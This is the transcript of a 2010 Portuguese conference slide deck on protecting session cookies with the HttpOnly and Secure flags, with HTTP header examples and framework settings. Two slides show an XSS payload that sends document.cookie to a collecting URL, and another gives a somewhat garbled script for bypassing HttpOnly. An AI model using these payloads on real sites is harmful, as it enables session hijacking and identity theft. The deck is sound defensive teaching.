desenvolvimento web seguro cookies - rodolfo stangherlin

29
Desenvolvimento web seguro: cookies Tchelinux 2010 - Caxias do Sul Rodolfo Stangherlin

Upload: tchelinux-slides

Post on 25-May-2015

1.641 views

Category:

Technology


0 download

DESCRIPTION

Desenvolvimento web seguro: Cookies (Rodolfo Stangherlin) Ataques na web usando javascript podem ter como objetivo roubar a “sessão” do usuário, colocando seus dados e sua identidade em risco. Na palestra, pretendo apresentar 2 pontos de segurança para os cookies de sessão de usuário: “httponly” (que elimina o acesso via javascript ao cookie) e “secure” (que torna o cookie disponível apenas via HTTPS). Demonstração de exemplo com código conceitual para explicar como isso influencia no tratamento de cookies pelo navegador. Rodolfo Stangherlin Formado no Curso Técnico em Desenvolvimento de Sistemas (CETEC, 2005), cursando Ciência da Computação na UCS. Atualmente funcionário do Núcleo de Processamento de Dados da UCS, atua como desenvolvedor web, participando - como programador - de projetos como o UCSvirtual e a matrícula online.

TRANSCRIPT

Page 1: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Desenvolvimento web seguro: cookies

Tchelinux 2010 - Caxias do Sul

Rodolfo Stangherlin

Page 2: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Sumário

ApresentaçãoHTTP é stateless  - e daí?RiscosExplorando com JavascriptHttponly - Risco minimizado Secure - Só HTTPSConclusão

Page 3: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Apresentação

Rodolfo StangherlinTécnico em Desenvolvimento de Sistemas - CETECBacharelando em Ciência da Computação na UCS Trabalha em informática desde 2005

sobreviveu à suporte Linux/FreeBSDdesenvolveu alguma coisa em PHPtrabalha atualmente com Python/Django

atualmente desenvolvedor Python/Django no NPDU (UCS)

Page 4: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

HTTP é stateless  - e daí?

HTTP (Hypertext Transfer Protocol) é um protocolo da camada de aplicação do modelo OSI.

Dizer que o protocolo é Stateless significa que a conexão não é mantida:

Page 5: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

HTTP é stateless - e daí?

Fonte: http://wagnerelias.com

Page 6: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

HTTP é stateless - e daí?

Cookies são enviados para identificar quem está enviando a requisição

Page 7: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

HTTP é stateless - e daí?

Cookies são enviados para identificar quem está fazendo a requisição

Isso é feito através de HEADERS

Page 8: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

HTTP é stateless - e daí?

Resposta criando um cookie: HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:22:07 GMT Server: WSGIServer/0.1 Python/2.5.5 Vary: Cookie Content-Type: text/html; charset=utf-8 Set-Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570; expires=Thu, 01-Jul-2010 03:22:07 GMT; Max-Age=1209600; Path=/ 

Page 9: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

HTTP é stateless - e daí?

Requisição com o cookie já indentificado: GET /capa/ HTTP/1.1 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: sessionid=5d40a3cc368d166a119aea06ecd33570

Page 10: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Riscos

sequestro de sessãofurto de dadosproblemas de autenticação...

Page 11: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Riscos

Page 12: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Explorando com Javascript

<script language="javascript" type="text/javascript"> document.location='/false/?cks=' + document.cookie; </script>

Page 13: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Explorando com Javascript

/false/pode ser qualquer URL, que receberia os cookies que identificam a sessão (como o SESSION_ID ou PHPSESSID)

document.cookiePropriedade que contém todos os cookies da página: "csrftoken=8fb73324ffff93d9e2eed7e1d5184b6a; sessionid=d6efaa3ee92a9ac89ec0f0b4763cc248"

Page 14: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

pq é necessário acessar o cookie de sessão via

javascript?

Page 15: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

não é necessário!

Page 16: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco amenizado

Adicionando a flag "httponly" na resposta do servidor, o navegador bloqueará acesso ao cookie via javascript:

HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:27:51 GMT Server: WSGIServer/0.1 Python/2.6.5+ Content-Type: text/html; charset=utf-8 Set-Cookie: csrftoken=e0957542e6b3b25785a3d08ded669f8; Max-Age=31449600; Path=/ Set-Cookie: sessionid=903da9d05cdf07e7bea5c0e8d725ea0f; expires=Thu, 01-Jul-2010 03:27:50 GMT; httponly; Max-Age=1209600; Path=/

Page 17: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco amenizado

Então, com javascript:

document.cookie

"csrftoken=e0957542e6b3b25785a3d08ded669f8"

Page 18: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco minimizado

risco eliminado? Não Usando Ajax (XMLHttpRequest), o cookie é passado e pode ser recuperado, mas é muito mais complexo

Page 19: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco minimizadoburlando o HttpOnlyvar doc;try { doc = new XMLHttpRequest(); } catch(e) {}if (!req) try { doc = new ActiveXObject(“Msxml2.XMLHTTP”); } catch(e) {}if (!req) try { doc = new ActiveXObject(“Microsoft.XMLHTTP”); } catch(e) {} doc.open(“HEAD”, document.location, true);doc.send(null);doc.onreadystatechange=function() {if(doc.readyState==4) { if(doc.status==200) {  var hidden=”";  var headers=doc.getAllResponseHeaders().split(” “);  for(i=0;i<headers.length;i++) {   var off1 = headers[i].indexOf(” “)+1;   var off2 = headers[i].indexOf(“;”)+1;   var cookie=headers[i].substring(off1, off2);   hidden=hidden+cookie+” “;  } } alert(“httpOnly cookie: “+hidden);}}

Page 20: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco minimizado

pq não é assim por default? HttpOnly não é padrão Web

não está na RFC 2109 - HTTP State Management Mechanism)

 criado pela Microsoft no IE6

hoje compatível com navegadores mais popularesMozilla Firefox (a partir da versão 3.0)Opera (a partir da versão 9.5)Google Chrome (desde a versão beta)Safari (desde versão 4)

Page 21: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco minimizado

Django (Python)suporte apenas via middleware, fora do código "oficial", pois segue os padrões

 Rails (Ruby)

HttpOnly ativado por default PHP

configurável através do php.ini desde a versão 5.2.0session.cookie_httponly = True

setar cookie usando "header()"usar parâmentro "http_only=True" na função setcookie

http://br.php.net/manual/en/function.setcookie.php

Page 22: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco minimizado

Dia 18/06, o site f-secure.com publicou um ataque de XSS:

Page 23: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Httponly - Risco minimizado

Passando o código javascript pela URL, ele era executado ao acessar a página...

Page 24: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Secure - Só HTTPS

Indica para o navegador enviar o cookie apenas em conexões seguras (HTTPS)  HTTP/1.0 200 OK Date: Thu, 17 Jun 2010 03:46:30 GMT Server: Apache mod_wsgi/3.1 Python/2.6.4 Expires: Thu, 17 Jun 2010 03:46:30 GMT Vary: Cookie,Accept-Encoding Last-Modified: Thu, 17 Jun 2010 03:46:30 GMT Set-Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8; httponly; Path=/; secure

Page 25: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Secure - Só HTTPS

https://ucsvirtual.ucs.br/capa/

GET /capa/ HTTP/1.1 Host: ucsvirtual.ucs.br User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-br,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: sessionid=b916crd0561c2fcf7e6f7fb8a74ce9a8

Page 26: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Secure - Só HTTPS

http://www.ucs.br/site  GET /site HTTP/1.1 Host: www.ucs.br User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.4) Gecko/20100505 Iceweasel/3.6.4 (like Firefox/3.6.4) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-br,en-us;q=0.7,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive

Page 27: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Conclusão

Na maioria das vezes, o acesso ao cookie de sessão nunca é utilizado via javascript.

 

Talvez por causa disso as pessoas nunca lembrem que isso pode significar uma

vulnerabilidade

Page 28: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Conclusão

Apenas HttpOnly + Secure não é suficiente.  

O ideal é nunca permitir javascript seja exibido ;)

Django o faz por defaultPHP pode usar função strip_tags

Page 29: Desenvolvimento web seguro cookies - Rodolfo Stangherlin

Obrigado! 

Rodolfo Stangherlin

@[email protected]

http://ratosdelaboratorio.blogspot.com